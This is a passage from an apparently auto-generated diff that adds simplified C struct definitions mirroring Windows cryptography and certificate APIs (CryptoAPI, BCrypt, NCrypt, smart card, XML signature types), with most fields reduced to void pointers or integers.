pKM; +} CRYPT_PROVIDER_REG; + +typedef struct _CERT_AUTHORITY_KEY_ID2_INFO { + void* KeyId; + void* AuthorityCertIssuer; + void* AuthorityCertSerialNumber; +} CERT_AUTHORITY_KEY_ID2_INFO; + +typedef struct _HCERTCHAINENGINE { + void* Value; +} HCERTCHAINENGINE; + +typedef struct _KEY_TYPE_SUBTYPE { + unsigned int dwKeySpec; + void* Type; + void* Subtype; +} KEY_TYPE_SUBTYPE; + +typedef struct _CRYPT_XML_REFERENCE { + unsigned int cbSize; + void* hReference; + void* wszId; + void* wszUri; + void* wszType; + void* DigestMethod; + void* DigestValue; + unsigned int cTransform; + void* rgTransform; +} CRYPT_XML_REFERENCE; + +typedef struct _CTL_VERIFY_USAGE_STATUS { + unsigned int cbSize; + unsigned int dwError; + unsigned int dwFlags; + void* ppCtl; + unsigned int dwCtlEntryIndex; + void* ppSigner; + unsigned int dwSignerIndex; +} CTL_VERIFY_USAGE_STATUS; + +typedef struct _BCRYPT_KEY_BLOB { + unsigned int Magic; +} BCRYPT_KEY_BLOB; + +typedef struct _NCRYPT_PQ_BLOB { + unsigned int dwMagic; + unsigned int cbBCryptType; + unsigned int cbBCryptBlob; +} NCRYPT_PQ_BLOB; + +typedef struct _CRYPT_BIT_BLOB { + unsigned int cbData; + void* pbData; + unsigned int cUnusedBits; +} CRYPT_BIT_BLOB; + +typedef struct _CRYPT_XML_KEY_DSA_KEY_VALUE { + void* P; + void* Q; + void* G; + void* Y; + void* J; + void* Seed; + void* Counter; +} CRYPT_XML_KEY_DSA_KEY_VALUE; + +typedef struct _CRYPT_ENCRYPT_MESSAGE_PARA { + unsigned int cbSize; + unsigned int dwMsgEncodingType; + void* hCryptProv; + void* ContentEncryptionAlgorithm; + void* pvEncryptionAuxInfo; + unsigned int dwFlags; + unsigned int dwInnerContentType; +} CRYPT_ENCRYPT_MESSAGE_PARA; + +typedef struct _SIGNER_CONTEXT { + unsigned int cbSize; + unsigned int cbBlob; + void* pbBlob; +} SIGNER_CONTEXT; + +typedef struct _CLMD_PIV_CERT_DATA { + unsigned int dwVersion; + unsigned int dwCertTag; + void* pbCert; + unsigned int cbCert; +} CLMD_PIV_CERT_DATA; + +typedef struct _CRYPT_XML_ISSUER_SERIAL { + void* wszIssuer; + void* wszSerial; +} CRYPT_XML_ISSUER_SERIAL; + +typedef struct _CRYPTNET_URL_CACHE_FLUSH_INFO { + unsigned int cbSize; + unsigned int dwExemptSeconds; + void* ExpireTime; +} CRYPTNET_URL_CACHE_FLUSH_INFO; + +typedef struct _CRYPT_XML_SIGNATURE { + unsigned int cbSize; + void* hSignature; + void* wszId; + void* SignedInfo; + void* SignatureValue; + void* pKeyInfo; + unsigned int cObject; + void* rgpObject; +} CRYPT_XML_SIGNATURE; + +typedef struct _CRYPT_PKCS8_EXPORT_PARAMS { + unsigned long long hCryptProv; + unsigned int dwKeySpec; + void* pszPrivateKeyObjId; + void* pEncryptPrivateKeyFunc; + void* pVoidEncryptFunc; +} CRYPT_PKCS8_EXPORT_PARAMS; + +typedef struct _HCRYPTPROV_LEGACY { + unsigned long long Value; +} HCRYPTPROV_LEGACY; + +typedef struct _BCRYPT_HANDLE { + void* Value; +} BCRYPT_HANDLE; + +typedef struct _CMSG_KEY_TRANS_RECIPIENT_INFO { + unsigned int dwVersion; + void* RecipientId; + void* KeyEncryptionAlgorithm; + void* EncryptedKey; +} CMSG_KEY_TRANS_RECIPIENT_INFO; + +typedef struct _CRYPT_TIMESTAMP_PARA { + void* pszTSAPolicyId; + BOOL fRequestCerts; + void* Nonce; + unsigned int cExtension; + void* rgExtension; +} CRYPT_TIMESTAMP_PARA; + +typedef struct _OCSP_BASIC_SIGNED_RESPONSE_INFO { + void* ToBeSigned; + void* SignatureInfo; +} OCSP_BASIC_SIGNED_RESPONSE_INFO; + +typedef struct _CMSG_SIGNED_AND_ENVELOPED_ENCODE_INFO { + unsigned int cbSize; + void* SignedInfo; + void* EnvelopedInfo; +} CMSG_SIGNED_AND_ENVELOPED_ENCODE_INFO; + +typedef struct _SIGNER_DIGEST_SIGN_INFO_V2 { + unsigned int cbSize; + void* pfnAuthenticodeDigestSign; + void* pfnAuthenticodeDigestSignEx; + void* pMetadataBlob; +} SIGNER_DIGEST_SIGN_INFO_V2; + +typedef struct _OCSP_SIGNATURE_INFO { + void* SignatureAlgorithm; + void* Signature; + unsigned int cCertEncoded; + void* rgCertEncoded; +} OCSP_SIGNATURE_INFO; + +typedef struct _EV_EXTRA_CERT_CHAIN_POLICY_STATUS { + unsigned int cbSize; + unsigned int dwQualifiers; + unsigned int dwIssuanceUsageIndex; +} EV_EXTRA_CERT_CHAIN_POLICY_STATUS; + +typedef struct _CTL_ANY_SUBJECT_INFO { + void* SubjectAlgorithm; + void* SubjectIdentifier; +} CTL_ANY_SUBJECT_INFO; + +typedef struct _PIN_INFO { + unsigned int dwVersion; + void* PinType; + void* PinPurpose; + unsigned int dwChangePermission; + unsigned int dwUnblockPermission; + void* PinCachePolicy; + unsigned int dwFlags; +} PIN_INFO; + +typedef struct _CRYPT_PSOURCE_ALGORITHM { + void* pszObjId; + void* EncodingParameters; +} CRYPT_PSOURCE_ALGORITHM; + +typedef struct _CMSG_CMS_RECIPIENT_INFO { + unsigned int dwRecipientChoice; + void* Anonymous; +} CMSG_CMS_RECIPIENT_INFO; + +typedef struct _NCRYPT_KEY_HANDLE { + unsigned long long Value; +} NCRYPT_KEY_HANDLE; + +typedef struct _CERT_DSS_PARAMETERS { + void* p; + void* q; + void* g; +} CERT_DSS_PARAMETERS; + +typedef struct _CTL_VERIFY_USAGE_PARA { + unsigned int cbSize; + void* ListIdentifier; + unsigned int cCtlStore; + void* rghCtlStore; + unsigned int cSignerStore; + void* rghSignerStore; +} CTL_VERIFY_USAGE_PARA; + +typedef struct _CRYPT_ASYNC_RETRIEVAL_COMPLETION { + void* pfnCompletion; + void* pvCompletion; +} CRYPT_ASYNC_RETRIEVAL_COMPLETION; + +typedef struct _HTTPSPolicyCallbackData { + void* Anonymous; + void* dwAuthType; + unsigned int fdwChecks; + void* pwszServerName; +} HTTPSPolicyCallbackData; + +typedef struct _CERT_POLICY_QUALIFIER_NOTICE_REFERENCE { + void* pszOrganization; + unsigned int cNoticeNumbers; + void* rgNoticeNumbers; +} CERT_POLICY_QUALIFIER_NOTICE_REFERENCE; + +typedef struct _HCERTSTOREPROV { + void* Value; +} HCERTSTOREPROV; + +typedef struct _CRYPT_XML_ALGORITHM { + unsigned int cbSize; + void* wszAlgorithm; + void* Encoded; +} CRYPT_XML_ALGORITHM; + +// SKIPPED struct CCertificateEnrollmentPolicyServerSetup: no representable fields +typedef struct _CMSG_MAIL_LIST_ENCRYPT_INFO { + unsigned int cbSize; + unsigned int dwRecipientIndex; + void* KeyEncryptionAlgorithm; + void* EncryptedKey; + unsigned int dwFlags; +} CMSG_MAIL_LIST_ENCRYPT_INFO; + +typedef struct _CERT_CHAIN_PARA { + unsigned int cbSize; + void* RequestedUsage; + void* RequestedIssuancePolicy; + unsigned int dwUrlRetrievalTimeout; + BOOL fCheckRevocationFreshnessTime; + unsigned int dwRevocationFreshnessTime; + void* pftCacheResync; + void* pStrongSignPara; + unsigned int dwStrongSignFlags; +} CERT_CHAIN_PARA; + +typedef struct _BCRYPT_HASH_HANDLE { + void* Value; +} BCRYPT_HASH_HANDLE; + +typedef struct _CRL_ISSUING_DIST_POINT { + void* DistPointName; + BOOL fOnlyContainsUserCerts; + BOOL fOnlyContainsCACerts; + void* OnlySomeReasonFlags; + BOOL fIndirectCRL; +} CRL_ISSUING_DIST_POINT; + +typedef struct _CERT_X942_DH_VALIDATION_PARAMS { + void* seed; + unsigned int pgenCounter; +} CERT_X942_DH_VALIDATION_PARAMS; + +typedef struct _NCryptKeyName { + void* pszName; + void* pszAlgid; + void* dwLegacyKeySpec; + unsigned int dwFlags; +} NCryptKeyName; + +typedef struct _CARD_ENCRYPTED_DATA { + void* pbEncryptedData; + unsigned int cbEncryptedData; +} CARD_ENCRYPTED_DATA; + +typedef struct _NCRYPT_PCP_TPM_FW_VERSION_INFO { + unsigned short major1; + unsigned short major2; + unsigned short minor1; + unsigned short minor2; +} NCRYPT_PCP_TPM_FW_VERSION_INFO; + +typedef struct _CTL_ENTRY { + void* SubjectIdentifier; + unsigned int cAttribute; + void* rgAttribute; +} CTL_ENTRY; + +typedef struct _CERT_HASHED_URL { + void* HashAlgorithm; + void* Hash; + void* pwszUrl; +} CERT_HASHED_URL; + +typedef struct _CERT_LOGOTYPE_EXT_INFO { + unsigned int cCommunityLogo; + void* rgCommunityLogo; + void* pIssuerLogo; + void* pSubjectLogo; + unsigned int cOtherLogo; + void* rgOtherLogo; +} CERT_LOGOTYPE_EXT_INFO; + +typedef struct _CERT_SUPPORTED_ALGORITHM_INFO { + void* Algorithm; + void* IntendedKeyUsage; + void* IntendedCertPolicies; +} CERT_SUPPORTED_ALGORITHM_INFO; + +typedef struct _CMC_DATA_INFO { + unsigned int cTaggedAttribute; + void* rgTaggedAttribute; + unsigned int cTaggedRequest; + void* rgTaggedRequest; + unsigned int cTaggedContentInfo; + void* rgTaggedContentInfo; + unsigned int cTaggedOtherMsg; + void* rgTaggedOtherMsg; +} CMC_DATA_INFO; + +typedef struct _CRYPT_INTERFACE_REG { + void* dwInterface; + void* dwFlags; + unsigned int cFunctions; + void* rgpszFunctions; +} CRYPT_INTERFACE_REG; + +typedef struct _CMSG_CTRL_VERIFY_SIGNATURE_EX_PARA { + unsigned int cbSize; + void* hCryptProv; + unsigned int dwSignerIndex; + unsigned int dwSignerType; + void* pvSigner; +} CMSG_CTRL_VERIFY_SIGNATURE_EX_PARA; + +typedef struct _CMSG_CTRL_ADD_SIGNER_UNAUTH_ATTR_PARA { + unsigned int cbSize; + unsigned int dwSignerIndex; + void* blob; +} CMSG_CTRL_ADD_SIGNER_UNAUTH_ATTR_PARA; + +typedef struct _CRYPT_XML_DATA_BLOB { + unsigned int cbData; + void* pbData; +} CRYPT_XML_DATA_BLOB; + +typedef struct _CRYPT_XML_TRANSFORM_INFO { + unsigned int cbSize; + void* wszAlgorithm; + unsigned int cbBufferSize; + void* dwFlags; + void* pfnCreateTransform; +} CRYPT_XML_TRANSFORM_INFO; + +typedef struct _CRYPT_XML_KEY_RSA_KEY_VALUE { + void* Modulus; + void* Exponent; +} CRYPT_XML_KEY_RSA_KEY_VALUE; + +// SKIPPED struct CCertificateEnrollmentServerSetup: no representable fields +typedef struct _CRYPT_BLOB_ARRAY { + unsigned int cBlob; + void* rgBlob; +} CRYPT_BLOB_ARRAY; + +typedef struct _CERT_KEY_USAGE_RESTRICTION_INFO { + unsigned int cCertPolicyId; + void* rgCertPolicyId; + void* RestrictedKeyUsage; +} CERT_KEY_USAGE_RESTRICTION_INFO; + +typedef struct _CRL_INFO { + unsigned int dwVersion; + void* SignatureAlgorithm; + void* Issuer; + void* ThisUpdate; + void* NextUpdate; + unsigned int cCRLEntry; + void* rgCRLEntry; + unsigned int cExtension; + void* rgExtension; +} CRL_INFO; + +typedef struct _CRYPT_3DES_KEY_STATE { + unsigned char Key[24]; + unsigned char IV[8]; + unsigned char Feedback[8]; +} CRYPT_3DES_KEY_STATE; + +typedef struct _CTL_INFO { + unsigned int dwVersion; + void* SubjectUsage; + void* ListIdentifier; + void* SequenceNumber; + void* ThisUpdate; + void* NextUpdate; + void* SubjectAlgorithm; + unsigned int cCTLEntry; + void* rgCTLEntry; + unsigned int cExtension; + void* rgExtension; +} CTL_INFO; + +typedef struct _CRYPT_SMIME_CAPABILITY { + void* pszObjId; + void* Parameters; +} CRYPT_SMIME_CAPABILITY; + +typedef struct _CRYPT_SMART_CARD_ROOT_INFO { + unsigned char rgbCardID[16]; + void* luid; +} CRYPT_SMART_CARD_ROOT_INFO; + +typedef struct _CRYPT_CONTENT_INFO_SEQUENCE_OF_ANY { + void* pszObjId; + unsigned int cValue; + void* rgValue; +} CRYPT_CONTENT_INFO_SEQUENCE_OF_ANY; + +typedef struct _CRYPT_ENCODE_PARA { + unsigned int cbSize; + void* pfnAlloc; + void* pfnFree; +} CRYPT_ENCODE_PARA; + +typedef struct _CERT_LOGOTYPE_IMAGE { + void* LogotypeDetails; + void* pLogotypeImageInfo; +} CERT_LOGOTYPE_IMAGE; + +typedef struct _CERT_STRONG_SIGN_PARA { + unsigned int cbSize; + unsigned int dwInfoChoice; + void* Anonymous; +} CERT_STRONG_SIGN_PARA; + +typedef struct _BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO { + unsigned int cbSize; + unsigned int dwInfoVersion; + void* pbNonce; + unsigned int cbNonce; + void* pbAuthData; + unsigned int cbAuthData; + void* pbTag; + unsigned int cbTag; + void* pbMacContext; + unsigned int cbMacContext; + unsigned int cbAAD; + unsigned long long cbData; + unsigned int dwFlags; +} BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO; + +typedef struct _CRYPT_XML_KEY_INFO_ITEM { + void* dwType; + void* Anonymous; +} CRYPT_XML_KEY_INFO_ITEM; + +typedef struct _CERT_ECC_SIGNATURE { + void* r; + void* s; +} CERT_ECC_SIGNATURE; + +// SKIPPED struct CCertSrvSetup: no representable fields +typedef struct _CERT_RDN_ATTR { + void* pszObjId; + unsigned int dwValueType; + void* Value; +} CERT_RDN_ATTR; + +typedef struct _CRYPT_PKCS12_PBE_PARAMS { + int iIterations; + unsigned int cbSalt; +} CRYPT_PKCS12_PBE_PARAMS; + +typedef struct _CMSG_KEY_AGREE_ENCRYPT_INFO { + unsigned int cbSize; + unsigned int dwRecipientIndex; + void* KeyEncryptionAlgorithm; + void* UserKeyingMaterial; + void* dwOriginatorChoice; + void* Anonymous; + unsigned int cKeyAgreeKeyEncryptInfo; + void* rgpKeyAgreeKeyEncryptInfo; + unsigned int dwFlags; +} CMSG_KEY_AGREE_ENCRYPT_INFO; + +typedef struct _CRYPT_INTEGER_BLOB { + unsigned int cbData; + void* pbData; +} CRYPT_INTEGER_BLOB; + +typedef struct _CRYPT_PASSWORD_CREDENTIALSW { + unsigned int cbSize; + void* pszUsername; + void* pszPassword; +} CRYPT_PASSWORD_CREDENTIALSW; + +typedef struct _BCryptBuffer { + unsigned int cbBuffer; + unsigned int BufferType; + void* pvBuffer; +} BCryptBuffer; + +typedef struct _CERT_CHAIN_CONTEXT { + unsigned int cbSize; + void* TrustStatus; + unsigned int cChain; + void* rgpChain; + unsigned int cLowerQualityChainContext; + void* rgpLowerQualityChainContext; + BOOL fHasRevocationFreshnessTime; + unsigned int dwRevocationFreshnessTime; + unsigned int dwCreateFlags; + void* ChainId; +} CERT_CHAIN_CONTEXT; + +typedef struct _BCRYPT_MULTI_HASH_OPERATION { + unsigned int iHash; + void* hashOperation; + void* pbBuffer; + unsigned int cbBuffer; +} BCRYPT_MULTI_HASH_OPERATION; + +typedef struct _HCERTSTORE { + void* Value; +} HCERTSTORE; + +typedef struct _CARD_CHANGE_AUTHENTICATOR_RESPONSE { + unsigned int dwVersion; + unsigned int cAttemptsRemaining; +} CARD_CHANGE_AUTHENTICATOR_RESPONSE; + +typedef struct _CRYPT_OBJECT_LOCATOR_PROVIDER_TABLE { + unsigned int cbSize; + void* pfnGet; + void* pfnRelease; + void* pfnFreePassword; + void* pfnFree; + void* pfnFreeIdentifier; +} CRYPT_OBJECT_LOCATOR_PROVIDER_TABLE; + +typedef struct _BCRYPT_SECRET_AGREEMENT_FUNCTION_TABLE { + void* Version; + void* OpenAlgorithmProvider; + void* GetProperty; + void* SetProperty; + void* CloseAlgorithmProvider; + void* SecretAgreement; + void* DeriveKey; + void* DestroySecret; + void* GenerateKeyPair; + void* FinalizeKeyPair; + void* ImportKeyPair; + void* ExportKey; + void* DestroyKey; +} BCRYPT_SECRET_AGREEMENT_FUNCTION_TABLE; + +typedef struct _CARD_IMPORT_KEYPAIR { + unsigned int dwVersion; + unsigned char bContainerIndex; + unsigned int PinId; + unsigned int dwKeySpec; + unsigned int dwKeySize; + unsigned int cbInput; + unsigned char pbInput[1]; +} CARD_IMPORT_KEYPAIR; + +typedef struct _CMSG_HASHED_ENCODE_INFO { + unsigned int cbSize; + void* hCryptProv; + void* HashAlgorithm; + void* pvHashAuxInfo; +} CMSG_HASHED_ENCODE_INFO; + +typedef struct _BCRYPT_ECCKEY_BLOB { + unsigned int dwMagic; + unsigned int cbKey; +} BCRYPT_ECCKEY_BLOB; + +typedef struct _CRYPT_ENCRYPTED_PRIVATE_KEY_INFO { + void* EncryptionAlgorithm; + void* EncryptedPrivateKey; +} CRYPT_ENCRYPTED_PRIVATE_KEY_INFO; + +typedef struct _CERT_LOGOTYPE_REFERENCE { + unsigned int cHashedUrl; + void* rgHashedUrl; +} CERT_LOGOTYPE_REFERENCE; + +typedef struct _CERT_POLICY95_QUALIFIER1 { + void* pszPracticesReference; + void* pszNoticeIdentifier; + void* pszNSINoticeIdentifier; + unsigned int cCPSURLs; + void* rgCPSURLs; +} CERT_POLICY95_QUALIFIER1; + +typedef struct _BCRYPT_OID_LIST { + unsigned int dwOIDCount; + void* pOIDs; +} BCRYPT_OID_LIST; + +typedef struct _CRL_DIST_POINTS_INFO { + unsigned int cDistPoint; + void* rgDistPoint; +} CRL_DIST_POINTS_INFO; + +typedef struct _CRYPT_ATTRIBUTE { + void* pszObjId; + unsigned int cValue; + void* rgValue; +} CRYPT_ATTRIBUTE; + +typedef struct _CMSG_CNG_CONTENT_DECRYPT_INFO { + unsigned int cbSize; + void* ContentEncryptionAlgorithm; + void* pfnAlloc; + void* pfnFree; + void* hNCryptKey; + void* pbContentEncryptKey; + unsigned int cbContentEncryptKey; + void* hCNGContentEncryptKey; + void* pbCNGContentEncryptKeyObject; +} CMSG_CNG_CONTENT_DECRYPT_INFO; + +typedef struct _CRYPT_XML_REFERENCES { + unsigned int cReference; + void* rgpReference; +} CRYPT_XML_REFERENCES; + +typedef struct _NCRYPT_EXPORTED_ISOLATED_KEY_ENVELOPE { + void* Header; +} NCRYPT_EXPORTED_ISOLATED_KEY_ENVELOPE; + +typedef struct _EV_EXTRA_CERT_CHAIN_POLICY_PARA { + unsigned int cbSize; + void* dwRootProgramQualifierFlags; +} EV_EXTRA_CERT_CHAIN_POLICY_PARA; + +typedef struct _CERT_POLICY_ID { + unsigned int cCertPolicyElementId; + void* rgpszCertPolicyElementId; +} CERT_POLICY_ID; + +typedef struct _BCRYPT_RSAKEY_BLOB { + void* Magic; + unsigned int BitLength; + unsigned int cbPublicExp; + unsigned int cbModulus; + unsigned int cbPrime1; + unsigned int cbPrime2; +} BCRYPT_RSAKEY_BLOB; + +typedef struct _CERT_EXTENSIONS { + unsigned int cExtension; + void* rgExtension; +} CERT_EXTENSIONS; + +typedef struct _CERT_SELECT_CHAIN_PARA { + void* hChainEngine; + void* pTime; + void* hAdditionalStore; + void* pChainPara; + unsigned int dwFlags; +} CERT_SELECT_CHAIN_PARA; + +typedef struct _CRYPT_TIMESTAMP_INFO { + unsigned int dwVersion; + void* pszTSAPolicyId; + void* HashAlgorithm; + void* HashedMessage; + void* SerialNumber; + void* ftTime; + void* pvAccuracy; + BOOL fOrdering; + void* Nonce; + void* Tsa; + unsigned int cExtension; + void* rgExtension; +} CRYPT_TIMESTAMP_INFO; + +typedef struct _CERT_REVOCATION_CHAIN_PARA { + unsigned int cbSize; + void* hChainEngine; + void* hAdditionalStore; + unsigned int dwChainFlags; + unsigned int dwUrlRetrievalTimeout; + void* pftCurrentTime; + void* pftCacheResync; + unsigned int cbMaxUrlRetrievalByteCount; +} CERT_REVOCATION_CHAIN_PARA; + +typedef struct _CRYPT_XML_STATUS { + unsigned int cbSize; + void* dwErrorStatus; + void* dwInfoStatus; +} CRYPT_XML_STATUS; + +typedef struct _CRYPT_CONTEXT_FUNCTIONS { + unsigned int cFunctions; + void* rgpszFunctions; +} CRYPT_CONTEXT_FUNCTIONS; + +typedef struct _CRYPT_XML_KEY_VALUE { + void* dwType; + void* Anonymous; +} CRYPT_XML_KEY_VALUE; + +typedef struct _CRYPT_HASH_INFO { + void* HashAlgorithm; + void* Hash; +} CRYPT_HASH_INFO; + +typedef struct _CMC_PEND_INFO { + void* PendToken; + void* PendTime; +} CMC_PEND_INFO; + +typedef struct _CRYPTNET_URL_CACHE_PRE_FETCH_INFO { + unsigned int cbSize; + unsigned int dwObjectType; + unsigned int dwError; + unsigned int dwReserved; + void* ThisUpdateTime; + void* NextUpdateTime; + void* PublishTime; +} CRYPTNET_URL_CACHE_PRE_FETCH_INFO; + +typedef struct _ENDPOINTADDRESS2 { + void* serviceUrl; + void* policyUrl; + unsigned int identityType; + void* identityBytes; +} ENDPOINTADDRESS2; + +typedef struct _CMSG_CTRL_KEY_AGREE_DECRYPT_PARA { + unsigned int cbSize; + void* Anonymous; + unsigned int dwKeySpec; + void* pKeyAgree; + unsigned int dwRecipientIndex; + unsigned int dwRecipientEncryptedKeyIndex; + void* OriginatorPublicKey; +} CMSG_CTRL_KEY_AGREE_DECRYPT_PARA; + +typedef struct _CERT_LOGOTYPE_INFO { + void* dwLogotypeInfoChoice; + void* Anonymous; +} CERT_LOGOTYPE_INFO; + +typedef struct _CRL_FIND_ISSUED_FOR_PARA { + void* pSubjectCert; + void* pIssuerCert; +} CRL_FIND_ISSUED_FOR_PARA; + +typedef struct _CRYPT_SIGN_MESSAGE_PARA { + unsigned int cbSize; + unsigned int dwMsgEncodingType; + void* pSigningCert; + void* HashAlgorithm; + void* pvHashAuxInfo; + unsigned int cMsgCert; + void* rgpMsgCert; + unsigned int cMsgCrl; + void* rgpMsgCrl; + unsigned int cAuthAttr; + void* rgAuthAttr; + unsigned int cUnauthAttr; + void* rgUnauthAttr; + unsigned int dwFlags; + unsigned int dwInnerContentType; +} CRYPT_SIGN_MESSAGE_PARA; + +typedef struct _CERT_POLICY_QUALIFIER_USER_NOTICE { + void* pNoticeReference; + void* pszDisplayText; +} CERT_POLICY_QUALIFIER_USER_NOTICE; + +typedef struct _CRYPT_AES_128_KEY_STATE { + unsigned char Key[16]; + unsigned char IV[16]; + unsigned char EncryptionState[176]; + unsigned char DecryptionState[176]; + unsigned char Feedback[16]; +} CRYPT_AES_128_KEY_STATE; + +typedef struct _CRYPT_PROPERTY_REF { + void* pszProperty; + unsigned int cbValue; + void* pbValue; +} CRYPT_PROPERTY_REF; + +typedef struct _CRYPT_PROVIDERS { + unsigned int cProviders; + void* rgpszProviders; +} CRYPT_PROVIDERS; + +typedef struct _PRIVKEYVER3 { + unsigned int magic; + unsigned int bitlenP; + unsigned int bitlenQ; + unsigned int bitlenJ; + unsigned int bitlenX; + void* DSSSeed; +} PRIVKEYVER3; + +typedef struct _BCRYPT_CIPHER_FUNCTION_TABLE { + void* Version; + void* OpenAlgorithmProvider; + void* GetProperty; + void* SetProperty; + void* CloseAlgorithmProvider; + void* GenerateKey; + void* Encrypt; + void* Decrypt; + void* ImportKey; + void* ExportKey; + void* DuplicateKey; + void* DestroyKey; +} BCRYPT_CIPHER_FUNCTION_TABLE; + +typedef struct _OCSP_CERT_ID { + void* HashAlgorithm; + void* IssuerNameHash; + void* IssuerKeyHash; + void* SerialNumber; +} OCSP_CERT_ID; + +typedef struct _CERT_SIMPLE_CHAIN { + unsigned int cbSize; + void* TrustStatus; + unsigned int cElement; + void* rgpElement; + void* pTrustListInfo; + BOOL fHasRevocationFreshnessTime; + unsigned int dwRevocationFreshnessTime; +} CERT_SIMPLE_CHAIN; + +typedef struct _CRYPT_XML_X509DATA_ITEM { + void* dwType; + void* Anonymous; +} CRYPT_XML_X509DATA_ITEM; + +typedef struct _NCRYPT_PROTECT_STREAM_INFO { + void* pfnStreamOutput; + void* pvCallbackCtxt; +} NCRYPT_PROTECT_STREAM_INFO; + +typedef struct _CRL_CONTEXT { + void* dwCertEncodingType; + void* pbCrlEncoded; + unsigned int cbCrlEncoded; + void* pCrlInfo; + void* hCertStore; +} CRL_CONTEXT; + +typedef struct _NCRYPT_KEY_ATTEST_PADDING_INFO { + unsigned int magic; + void* pbKeyBlob; + unsigned int cbKeyBlob; + void* pbKeyAuth; + unsigned int cbKeyAuth; +} NCRYPT_KEY_ATTEST_PADDING_INFO; + +typedef struct _CERT_AUTHORITY_INFO_ACCESS { + unsigned int cAccDescr; + void* rgAccDescr; +} CERT_AUTHORITY_INFO_ACCESS; + +typedef struct _CERT_REVOCATION_CRL_INFO { + unsigned int cbSize; + void* pBaseCrlContext; + void* pDeltaCrlContext; + void* pCrlEntry; + BOOL fDeltaCrlEntry; +} CERT_REVOCATION_CRL_INFO; + +typedef struct _CRYPT_X942_OTHER_INFO { + void* pszContentEncryptionObjId; + unsigned char rgbCounter[4]; + unsigned char rgbKeyLength[4]; + void* PubInfo; +} CRYPT_X942_OTHER_INFO; + +typedef struct _CRYPT_HASH_MESSAGE_PARA { + unsigned int cbSize; + unsigned int dwMsgEncodingType; + void* hCryptProv; + void* HashAlgorithm; + void* pvHashAuxInfo; +} CRYPT_HASH_MESSAGE_PARA; + +typedef struct _CERT_SERVER_OCSP_RESPONSE_CONTEXT { + unsigned int cbSize; + void* pbEncodedOcspResponse; + unsigned int cbEncodedOcspResponse; +} CERT_SERVER_OCSP_RESPONSE_CONTEXT; + +typedef struct _SCHANNEL_ALG { + unsigned int dwUse; + void* Algid; + unsigned int cBits; + unsigned int dwFlags; + unsigned int dwReserved; +} SCHANNEL_ALG; + +typedef struct _CRYPT_XML_SIGNED_INFO { + unsigned int cbSize; + void* wszId; + void* Canonicalization; + void* SignatureMethod; + unsigned int cReference; + void* rgpReference; + void* Encoded; +} CRYPT_XML_SIGNED_INFO; + +typedef struct _CMC_ADD_EXTENSIONS_INFO { + unsigned int dwCmcDataReference; + unsigned int cCertReference; + void* rgdwCertReference; + unsigned int cExtension; + void* rgExtension; +} CMC_ADD_EXTENSIONS_INFO; + +typedef struct _CRYPT_KEY_PROV_INFO { + void* pwszContainerName; + void* pwszProvName; + unsigned int dwProvType; + void* dwFlags; + unsigned int cProvParam; + void* rgProvParam; + unsigned int dwKeySpec; +} CRYPT_KEY_PROV_INFO; + +typedef struct _OFFLOAD_PRIVATE_KEY { + unsigned int dwVersion; + unsigned int cbPrime1; + unsigned int cbPrime2; + void* pbPrime1; + void* pbPrime2; +} OFFLOAD_PRIVATE_KEY; + +typedef struct _BCRYPT_MULTI_OBJECT_LENGTH_STRUCT { + unsigned int cbPerObject; + unsigned int cbPerElement; +} BCRYPT_MULTI_OBJECT_LENGTH_STRUCT; + +typedef struct _AUTHENTICODE_EXTRA_CERT_CHAIN_POLICY_PARA { + unsigned int cbSize; + unsigned int dwRegPolicySettings; + void* pSignerInfo; +} AUTHENTICODE_EXTRA_CERT_CHAIN_POLICY_PARA; + +typedef struct _CMC_TAGGED_REQUEST { + unsigned int dwTaggedRequestChoice; + void* Anonymous; +} CMC_TAGGED_REQUEST; + +typedef struct _CRYPT_CSP_PROVIDER { + unsigned int dwKeySpec; + void* pwszProviderName; + void* Signature; +} CRYPT_CSP_PROVIDER; + +typedef struct _CERT_CHAIN_ELEMENT { + unsigned int cbSize; + void* pCertContext; + void* TrustStatus; + void* pRevocationInfo; + void* pIssuanceUsage; + void* pApplicationUsage; + void* pwszExtendedErrorInfo; +} CERT_CHAIN_ELEMENT; + +typedef struct _CMC_TAGGED_ATTRIBUTE { + unsigned int dwBodyPartID; + void* Attribute; +} CMC_TAGGED_ATTRIBUTE; + +typedef struct _CARD_FREE_SPACE_INFO { + unsigned int dwVersion; + unsigned int dwBytesAvailable; + unsigned int dwKeyContainersAvailable; + unsigned int dwMaxKeyContainers; +} CARD_FREE_SPACE_INFO; + +typedef struct _SIGNER_DIGEST_SIGN_INFO_V1 { + unsigned int cbSize; + void* pfnAuthenticodeDigestSign; + void* pMetadataBlob; +} SIGNER_DIGEST_SIGN_INFO_V1; + +typedef struct _CARD_KEY_SIZES { + unsigned int dwVersion; + unsigned int dwMinimumBitlen; + unsigned int dwDefaultBitlen; + unsigned int dwMaximumBitlen; + unsigned int dwIncrementalBitlen; +} CARD_KEY_SIZES; + +typedef struct _CARD_SIGNING_INFO { + unsigned int dwVersion; + unsigned char bContainerIndex; + unsigned int dwKeySpec; + unsigned int dwSigningFlags; + void* aiHashAlg; + void* pbData; + unsigned int cbData; + void* pbSignedData; + unsigned int cbSignedData; + void* pPaddingInfo; + unsigned int dwPaddingType; +} CARD_SIGNING_INFO; + +typedef struct _INFORMATIONCARD_CRYPTO_HANDLE { + void* type; + long long expiration; + void* cryptoParameters; +} INFORMATIONCARD_CRYPTO_HANDLE; + +typedef struct _NCRYPT_HASH_HANDLE { + unsigned long long Value; +} NCRYPT_HASH_HANDLE; + +typedef struct _CERT_POLICY_INFO { + void* pszPolicyIdentifier; + unsigned int cPolicyQualifier; + void* rgPolicyQualifier; +} CERT_POLICY_INFO; + +typedef struct _CMSG_KEY_AGREE_RECIPIENT_ENCODE_INFO { + unsigned int cbSize; + void* KeyEncryptionAlgorithm; + void* pvKeyEncryptionAuxInfo; + void* KeyWrapAlgorithm; + void* pvKeyWrapAuxInfo; + void* hCryptProv; + unsigned int dwKeySpec; + void* dwKeyChoice; + void* Anonymous; + void* UserKeyingMaterial; + unsigned int cRecipientEncryptedKeys; + void* rgpRecipientEncryptedKeys; +} CMSG_KEY_AGREE_RECIPIENT_ENCODE_INFO; + +typedef struct _BCRYPT_HASH_FUNCTION_TABLE { + void* Version; + void* OpenAlgorithmProvider; + void* GetProperty; + void* SetProperty; + void* CloseAlgorithmProvider; + void* CreateHash; + void* HashData; + void* FinishHash; + void* DuplicateHash; + void* DestroyHash; + void* CreateMultiHash; + void* ProcessMultiOperations; +} BCRYPT_HASH_FUNCTION_TABLE; + +typedef struct _CERT_CRL_CONTEXT_PAIR { + void* pCertContext; + void* 